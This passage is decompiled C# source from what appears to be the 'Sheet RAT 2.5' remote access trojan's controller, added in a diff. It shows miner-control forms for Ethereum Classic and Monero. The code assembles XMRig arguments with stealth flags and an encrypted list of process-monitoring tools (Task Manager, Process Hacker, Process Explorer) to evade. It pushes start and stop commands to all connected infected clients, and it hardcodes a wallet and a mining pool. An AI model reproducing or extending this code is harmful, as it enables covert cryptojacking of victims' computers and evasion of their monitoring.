this.metroLabel3.Size = new Size(48 /*0x30*/, 19);
|
||||
this.metroLabel3.Style = MetroColorStyle.Green;
|
||||
this.metroLabel3.TabIndex = 203;
|
||||
this.metroLabel3.Text = "Gpu %";
|
||||
this.metroLabel3.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel3.UseStyleColors = true;
|
||||
this.metroButton1.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
this.metroButton1.Location = new Point(793, 77);
|
||||
this.metroButton1.Margin = new Padding(2);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(79, 20);
|
||||
this.metroButton1.Style = MetroColorStyle.Green;
|
||||
this.metroButton1.TabIndex = 205;
|
||||
this.metroButton1.Text = "Hide Window";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroButton1.Click += new EventHandler(this.metroButton1_Click_1);
|
||||
this.metroContextMenu1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.kickToolStripMenuItem
|
||||
});
|
||||
this.metroContextMenu1.Name = "metroContextMenu1";
|
||||
this.metroContextMenu1.Size = new Size(97, 26);
|
||||
this.kickToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.kickToolStripMenuItem.ForeColor = Color.Red;
|
||||
this.kickToolStripMenuItem.Name = "kickToolStripMenuItem";
|
||||
this.kickToolStripMenuItem.Size = new Size(96 /*0x60*/, 22);
|
||||
this.kickToolStripMenuItem.Text = "Kick";
|
||||
this.kickToolStripMenuItem.Click += new EventHandler(this.kickToolStripMenuItem_Click);
|
||||
this.Wallet.CustomButton.Image = (Image) null;
|
||||
this.Wallet.CustomButton.Location = new Point(364, 1);
|
||||
this.Wallet.CustomButton.Name = "";
|
||||
this.Wallet.CustomButton.Size = new Size(21, 21);
|
||||
this.Wallet.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Wallet.CustomButton.TabIndex = 1;
|
||||
this.Wallet.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Wallet.CustomButton.UseSelectable = true;
|
||||
this.Wallet.CustomButton.Visible = false;
|
||||
this.Wallet.Lines = new string[1]
|
||||
{
|
||||
"0xba92dA92f51D31EDC6Bee8026C039513FA2E2f53"
|
||||
};
|
||||
this.Wallet.Location = new Point(34, 80 /*0x50*/);
|
||||
this.Wallet.MaxLength = (int) short.MaxValue;
|
||||
this.Wallet.Name = "Wallet";
|
||||
this.Wallet.PasswordChar = char.MinValue;
|
||||
this.Wallet.ScrollBars = ScrollBars.None;
|
||||
this.Wallet.SelectedText = "";
|
||||
this.Wallet.SelectionLength = 0;
|
||||
this.Wallet.SelectionStart = 0;
|
||||
this.Wallet.ShortcutsEnabled = true;
|
||||
this.Wallet.Size = new Size(386, 23);
|
||||
this.Wallet.Style = MetroColorStyle.Green;
|
||||
this.Wallet.TabIndex = 207;
|
||||
this.Wallet.Text = "0xba92dA92f51D31EDC6Bee8026C039513FA2E2f53";
|
||||
this.Wallet.Theme = MetroThemeStyle.Dark;
|
||||
this.Wallet.UseSelectable = true;
|
||||
this.Wallet.UseStyleColors = true;
|
||||
this.Wallet.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Wallet.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.Pool.CustomButton.Image = (Image) null;
|
||||
this.Pool.CustomButton.Location = new Point(364, 1);
|
||||
this.Pool.CustomButton.Name = "";
|
||||
this.Pool.CustomButton.Size = new Size(21, 21);
|
||||
this.Pool.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Pool.CustomButton.TabIndex = 1;
|
||||
this.Pool.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Pool.CustomButton.UseSelectable = true;
|
||||
this.Pool.CustomButton.Visible = false;
|
||||
this.Pool.Lines = new string[1]
|
||||
{
|
||||
"eu1-etc.ethermine.org:4444"
|
||||
};
|
||||
this.Pool.Location = new Point(35, 134);
|
||||
this.Pool.MaxLength = (int) short.MaxValue;
|
||||
this.Pool.Name = "Pool";
|
||||
this.Pool.PasswordChar = char.MinValue;
|
||||
this.Pool.ScrollBars = ScrollBars.None;
|
||||
this.Pool.SelectedText = "";
|
||||
this.Pool.SelectionLength = 0;
|
||||
this.Pool.SelectionStart = 0;
|
||||
this.Pool.ShortcutsEnabled = true;
|
||||
this.Pool.Size = new Size(386, 23);
|
||||
this.Pool.Style = MetroColorStyle.Green;
|
||||
this.Pool.TabIndex = 208 /*0xD0*/;
|
||||
this.Pool.Text = "eu1-etc.ethermine.org:4444";
|
||||
this.Pool.Theme = MetroThemeStyle.Dark;
|
||||
this.Pool.UseSelectable = true;
|
||||
this.Pool.UseStyleColors = true;
|
||||
this.Pool.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Pool.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.AntiProcess.CustomButton.Image = (Image) null;
|
||||
this.AntiProcess.CustomButton.Location = new Point(364, 1);
|
||||
this.AntiProcess.CustomButton.Name = "";
|
||||
this.AntiProcess.CustomButton.Size = new Size(21, 21);
|
||||
this.AntiProcess.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.AntiProcess.CustomButton.TabIndex = 1;
|
||||
this.AntiProcess.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.AntiProcess.CustomButton.UseSelectable = true;
|
||||
this.AntiProcess.CustomButton.Visible = false;
|
||||
this.AntiProcess.Lines = new string[1]
|
||||
{
|
||||
"Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"
|
||||
};
|
||||
this.AntiProcess.Location = new Point(34, 184);
|
||||
this.AntiProcess.MaxLength = (int) short.MaxValue;
|
||||
this.AntiProcess.Name = "AntiProcess";
|
||||
this.AntiProcess.PasswordChar = char.MinValue;
|
||||
this.AntiProcess.ScrollBars = ScrollBars.None;
|
||||
this.AntiProcess.SelectedText = "";
|
||||
this.AntiProcess.SelectionLength = 0;
|
||||
this.AntiProcess.SelectionStart = 0;
|
||||
this.AntiProcess.ShortcutsEnabled = true;
|
||||
this.AntiProcess.Size = new Size(386, 23);
|
||||
this.AntiProcess.Style = MetroColorStyle.Green;
|
||||
this.AntiProcess.TabIndex = 209;
|
||||
this.AntiProcess.Text = "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe";
|
||||
this.AntiProcess.Theme = MetroThemeStyle.Dark;
|
||||
this.AntiProcess.UseSelectable = true;
|
||||
this.AntiProcess.UseStyleColors = true;
|
||||
this.AntiProcess.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.AntiProcess.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.TimeOut.Interval = 25000;
|
||||
this.TimeOut.Tick += new EventHandler(this.TimeOut_Tick);
|
||||
this.Grid1.AllowUserToAddRows = false;
|
||||
this.Grid1.AllowUserToDeleteRows = false;
|
||||
this.Grid1.AllowUserToResizeColumns = false;
|
||||
this.Grid1.AllowUserToResizeRows = false;
|
||||
this.Grid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.Grid1.BackgroundColor = Color.FromArgb(17, 17, 17);
|
||||
this.Grid1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.Grid1.CellBorderStyle = DataGridViewCellBorderStyle.None;
|
||||
this.Grid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft;
|
||||
gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.WrapMode = DataGridViewTriState.True;
|
||||
this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1;
|
||||
this.Grid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.Grid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1;
|
||||
this.Grid1.Cursor = Cursors.Default;
|
||||
gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.WrapMode = DataGridViewTriState.False;
|
||||
this.Grid1.DefaultCellStyle = gridViewCellStyle2;
|
||||
this.Grid1.EnableHeadersVisualStyles = false;
|
||||
this.Grid1.GridColor = Color.FromArgb(17, 17, 17);
|
||||
this.Grid1.Location = new Point(34, 227);
|
||||
this.Grid1.Name = "Grid1";
|
||||
this.Grid1.ReadOnly = true;
|
||||
this.Grid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0);
|
||||
gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.WrapMode = DataGridViewTriState.True;
|
||||
this.Grid1.RowHeadersDefaultCellStyle = gridViewCellStyle3;
|
||||
this.Grid1.RowHeadersVisible = false;
|
||||
this.Grid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.Grid1.ShowCellErrors = false;
|
||||
this.Grid1.ShowCellToolTips = false;
|
||||
this.Grid1.ShowEditingIcon = false;
|
||||
this.Grid1.ShowRowErrors = false;
|
||||
this.Grid1.Size = new Size(838, 272);
|
||||
this.Grid1.TabIndex = 210;
|
||||
this.Checker.Enabled = true;
|
||||
this.Checker.Interval = 3000;
|
||||
this.Checker.Tick += new EventHandler(this.Checker_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(898, 531);
|
||||
this.Controls.Add((Control) this.Grid1);
|
||||
this.Controls.Add((Control) this.AntiProcess);
|
||||
this.Controls.Add((Control) this.Pool);
|
||||
this.Controls.Add((Control) this.Wallet);
|
||||
this.Controls.Add((Control) this.metroButton1);
|
||||
this.Controls.Add((Control) this.metroLabel3);
|
||||
this.Controls.Add((Control) this.numGpu);
|
||||
this.Controls.Add((Control) this.AntiProcessCheck);
|
||||
this.Controls.Add((Control) this.Start);
|
||||
this.Controls.Add((Control) this.metroLabel2);
|
||||
this.Controls.Add((Control) this.metroLabel1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2);
|
||||
this.Name = nameof (FormMinerEtc);
|
||||
this.Padding = new Padding(15, 60, 15, 16 /*0x10*/);
|
||||
this.Style = MetroColorStyle.Green;
|
||||
this.Text = "Miner Etc Miners [0] Selected[0]";
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.FormClosing += new FormClosingEventHandler(this.FormEtc_FormClosing);
|
||||
this.Load += new EventHandler(this.FormMinerEtc_Load);
|
||||
this.numGpu.EndInit();
|
||||
this.metroContextMenu1.ResumeLayout(false);
|
||||
((ISupportInitialize) this.Grid1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,756 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormMinerXmr
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormMinerXmr : MetroForm
|
||||
{
|
||||
public string args;
|
||||
public bool work;
|
||||
private IContainer components;
|
||||
private MetroLabel metroLabel1;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroCheckBox AntiProcessCheck;
|
||||
private NumericUpDown numCpu;
|
||||
private MetroLabel metroLabel3;
|
||||
public MetroButton Start;
|
||||
public MetroButton metroButton1;
|
||||
private MetroTextBox Wallet;
|
||||
private MetroTextBox Pool;
|
||||
private MetroTextBox AntiProcess;
|
||||
private Timer TimeOut;
|
||||
private MetroContextMenu metroContextMenu1;
|
||||
private ToolStripMenuItem kickToolStripMenuItem;
|
||||
public DataGridView Grid1;
|
||||
private Timer Checker;
|
||||
public MetroCheckBox CheckDontGpu;
|
||||
public MetroCheckBox metroCheckBoxGpu;
|
||||
public MetroCheckBox metroCheckBoxCpu;
|
||||
public MetroCheckBox metroCheckBoxTls;
|
||||
public MetroCheckBox metroCheckBoxNicehash;
|
||||
private RadioButton PoolMode;
|
||||
private RadioButton radioButton2;
|
||||
private Panel panel1;
|
||||
private MetroTextBox ProxyXmr;
|
||||
|
||||
public Clients[] ClientsSelected()
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
foreach (DataGridViewRow selectedRow in (BaseCollection) this.Grid1.SelectedRows)
|
||||
clientsList.Add((Clients) selectedRow.Tag);
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
|
||||
public Clients[] ClientsAll()
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
foreach (DataGridViewRow row in (IEnumerable) this.Grid1.Rows)
|
||||
clientsList.Add((Clients) row.Tag);
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
|
||||
private void FormXmr_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.Hide();
|
||||
e.Cancel = true;
|
||||
}
|
||||
|
||||
public FormMinerXmr() => this.InitializeComponent();
|
||||
|
||||
private void FormMinerXmr_Load(object sender, EventArgs e)
|
||||
{
|
||||
DataGridViewColumnCollection columns1 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn1.HeaderText = "IP";
|
||||
viewTextBoxColumn1.MinimumWidth = 150;
|
||||
columns1.Add((DataGridViewColumn) viewTextBoxColumn1);
|
||||
DataGridViewColumnCollection columns2 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn2.HeaderText = "ID";
|
||||
viewTextBoxColumn2.MinimumWidth = 150;
|
||||
columns2.Add((DataGridViewColumn) viewTextBoxColumn2);
|
||||
DataGridViewColumnCollection columns3 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn3.HeaderText = "CPU Status";
|
||||
viewTextBoxColumn3.MinimumWidth = 30;
|
||||
columns3.Add((DataGridViewColumn) viewTextBoxColumn3);
|
||||
DataGridViewColumnCollection columns4 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn4.HeaderText = "GPU Status";
|
||||
viewTextBoxColumn4.MinimumWidth = 30;
|
||||
columns4.Add((DataGridViewColumn) viewTextBoxColumn4);
|
||||
DataGridViewColumnCollection columns5 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells;
|
||||
viewTextBoxColumn5.HeaderText = "CPU";
|
||||
viewTextBoxColumn5.MinimumWidth = 30;
|
||||
columns5.Add((DataGridViewColumn) viewTextBoxColumn5);
|
||||
DataGridViewColumnCollection columns6 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn6 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn6.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;
|
||||
viewTextBoxColumn6.HeaderText = "GPU";
|
||||
viewTextBoxColumn6.MinimumWidth = 30;
|
||||
columns6.Add((DataGridViewColumn) viewTextBoxColumn6);
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Disconnected("Stop");
|
||||
Program.form.MinerActiveXmr = false;
|
||||
this.Start.Text = "Start";
|
||||
p.Cancel = true;
|
||||
this.Hide();
|
||||
this.Refresh();
|
||||
});
|
||||
DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle();
|
||||
gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle.ForeColor = Customs.customs.StyleToColor();
|
||||
gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White;
|
||||
gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White;
|
||||
gridViewCellStyle.SelectionBackColor = Customs.customs.StyleToColor();
|
||||
gridViewCellStyle.WrapMode = DataGridViewTriState.False;
|
||||
this.Grid1.DefaultCellStyle = gridViewCellStyle;
|
||||
this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle;
|
||||
this.Grid1.RowTemplate.Resizable = DataGridViewTriState.True;
|
||||
this.Grid1.RowTemplate.MinimumHeight = 30;
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.Wallet.Theme = Customs.customs.Theme;
|
||||
this.Pool.Theme = Customs.customs.Theme;
|
||||
this.AntiProcess.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.metroLabel3.Theme = Customs.customs.Theme;
|
||||
this.metroButton1.Theme = Customs.customs.Theme;
|
||||
this.metroCheckBoxCpu.Theme = Customs.customs.Theme;
|
||||
this.metroCheckBoxGpu.Theme = Customs.customs.Theme;
|
||||
this.Start.Theme = Customs.customs.Theme;
|
||||
this.metroCheckBoxNicehash.Theme = Customs.customs.Theme;
|
||||
this.AntiProcessCheck.Theme = Customs.customs.Theme;
|
||||
this.ProxyXmr.Theme = Customs.customs.Theme;
|
||||
this.CheckDontGpu.Theme = Customs.customs.Theme;
|
||||
this.metroCheckBoxTls.Theme = Customs.customs.Theme;
|
||||
this.Grid1.BackgroundColor = Customs.customs.ThemeToColor();
|
||||
this.numCpu.BackColor = Customs.customs.ThemeToColor();
|
||||
this.PoolMode.BackColor = Customs.customs.ThemeToColor();
|
||||
this.panel1.BackColor = Customs.customs.ThemeToColor();
|
||||
this.radioButton2.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.Wallet.Style = Customs.customs.Style;
|
||||
this.Pool.Style = Customs.customs.Style;
|
||||
this.AntiProcess.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.metroLabel3.Style = Customs.customs.Style;
|
||||
this.metroButton1.Style = Customs.customs.Style;
|
||||
this.metroCheckBoxTls.Style = Customs.customs.Style;
|
||||
this.metroCheckBoxGpu.Style = Customs.customs.Style;
|
||||
this.metroCheckBoxCpu.Style = Customs.customs.Style;
|
||||
this.ProxyXmr.Style = Customs.customs.Style;
|
||||
this.metroCheckBoxNicehash.Style = Customs.customs.Style;
|
||||
this.Start.Style = Customs.customs.Style;
|
||||
this.AntiProcessCheck.Style = Customs.customs.Style;
|
||||
this.CheckDontGpu.Style = Customs.customs.Style;
|
||||
this.numCpu.ForeColor = Customs.customs.StyleToColor();
|
||||
this.radioButton2.ForeColor = Customs.customs.StyleToColor();
|
||||
this.PoolMode.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
this.radioButton2.PerformClick();
|
||||
this.Start.PerformClick();
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
public string Unamlib_Encrypt(string plainText)
|
||||
{
|
||||
byte[] bytes1 = Encoding.UTF8.GetBytes(plainText);
|
||||
byte[] bytes2 = Encoding.ASCII.GetBytes("UXUUXUUXUUCommandULineUUXUUXUUXU");
|
||||
byte[] bytes3 = Encoding.ASCII.GetBytes("UUCommandULineUU");
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
rijndaelManaged.Mode = CipherMode.CBC;
|
||||
rijndaelManaged.Padding = PaddingMode.Zeros;
|
||||
rijndaelManaged.BlockSize = 128 /*0x80*/;
|
||||
rijndaelManaged.KeySize = 256 /*0x0100*/;
|
||||
ICryptoTransform encryptor = rijndaelManaged.CreateEncryptor(bytes2, bytes3);
|
||||
byte[] array;
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write))
|
||||
{
|
||||
cryptoStream.Write(bytes1, 0, bytes1.Length);
|
||||
cryptoStream.FlushFinalBlock();
|
||||
array = memoryStream.ToArray();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
memoryStream.Close();
|
||||
}
|
||||
return Convert.ToBase64String(array);
|
||||
}
|
||||
|
||||
private void metroButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Start.Text == "Start")
|
||||
{
|
||||
this.args = " --cinit-find-x -B --algo=\"rx/0\" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --cpu-max-threads-hint=" + this.numCpu.Value.ToString();
|
||||
if (this.PoolMode.Checked)
|
||||
{
|
||||
this.args = $"{this.args} --url={this.Pool.Text} --user={this.Wallet.Text} --pass=worker";
|
||||
if (!this.metroCheckBoxTls.Checked)
|
||||
this.args += " --tls";
|
||||
if (!this.metroCheckBoxNicehash.Checked)
|
||||
this.args += " --nicehash";
|
||||
}
|
||||
else
|
||||
this.args = $"{this.args} --url={this.ProxyXmr.Text}";
|
||||
if (this.AntiProcessCheck.Checked)
|
||||
this.args = $"{this.args} --cinit-stealth-targets=\"{this.Unamlib_Encrypt(this.AntiProcess.Text)}\" --cinit-stealth";
|
||||
if (!this.metroCheckBoxCpu.Checked)
|
||||
this.args += " --no-cpu";
|
||||
if (this.metroCheckBoxGpu.Checked)
|
||||
this.args += " %GPUMINER%";
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Send((object) ("Start<@>" + this.args));
|
||||
this.Start.Text = "Stop";
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Send((object) "Stop");
|
||||
this.Start.Text = "Start";
|
||||
}
|
||||
}
|
||||
|
||||
private void metroButton1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
this.Hide();
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void TimeOut_Tick(object sender, EventArgs e)
|
||||
{
|
||||
Clients[] allClients = this.ClientsAll();
|
||||
if (allClients.Length == 0)
|
||||
return;
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
foreach (Clients clients in allClients)
|
||||
{
|
||||
if (Methods.DiffSeconds(clients.LastPiy, DateTime.Now) > 60.0)
|
||||
clients.Disconnected("TimeOut");
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
private void kickToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (Clients clients in this.ClientsSelected())
|
||||
clients.Disconnected("Kick");
|
||||
}
|
||||
|
||||
private void Checker_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.Text = $"Miner Xmr Miners [{this.Grid1.RowCount}] Selected[{this.Grid1.SelectedRows.Count}]";
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void CheckDontGpu_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void radioButton2_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.radioButton2.Checked)
|
||||
this.metroLabel1.Text = "Xmrig-Proxy Ip";
|
||||
else
|
||||
this.metroLabel1.Text = "Wallet Adress";
|
||||
this.ProxyXmr.Visible = this.radioButton2.Checked;
|
||||
this.Pool.Visible = !this.radioButton2.Checked;
|
||||
this.metroLabel2.Visible = !this.radioButton2.Checked;
|
||||
this.metroCheckBoxTls.Visible = !this.radioButton2.Checked;
|
||||
this.metroCheckBoxNicehash.Visible = !this.radioButton2.Checked;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMinerXmr));
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.Start = new MetroButton();
|
||||
this.AntiProcessCheck = new MetroCheckBox();
|
||||
this.numCpu = new NumericUpDown();
|
||||
this.metroLabel3 = new MetroLabel();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.metroContextMenu1 = new MetroContextMenu(this.components);
|
||||
this.kickToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.Wallet = new MetroTextBox();
|
||||
this.Pool = new MetroTextBox();
|
||||
this.AntiProcess = new MetroTextBox();
|
||||
this.TimeOut = new Timer(this.components);
|
||||
this.Grid1 = new DataGridView();
|
||||
this.Checker = new Timer(this.components);
|
||||
this.CheckDontGpu = new MetroCheckBox();
|
||||
this.metroCheckBoxGpu = new MetroCheckBox();
|
||||
this.metroCheckBoxCpu = new MetroCheckBox();
|
||||
this.metroCheckBoxTls = new MetroCheckBox();
|
||||
this.metroCheckBoxNicehash = new MetroCheckBox();
|
||||
this.PoolMode = new RadioButton();
|
||||
this.radioButton2 = new RadioButton();
|
||||
this.panel1 = new Panel();
|
||||
this.ProxyXmr = new MetroTextBox();
|
||||
this.numCpu.BeginInit();
|
||||
this.metroContextMenu1.SuspendLayout();
|
||||
((ISupportInitialize) this.Grid1).BeginInit();
|
||||
this.panel1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(3, 3);
|
||||
this.metroLabel1.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(88, 19);
|
||||
this.metroLabel1.Style = MetroColorStyle.Green;
|
||||
this.metroLabel1.TabIndex = 1;
|
||||
this.metroLabel1.Text = "Wallet Adress";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(3, 58);
|
||||
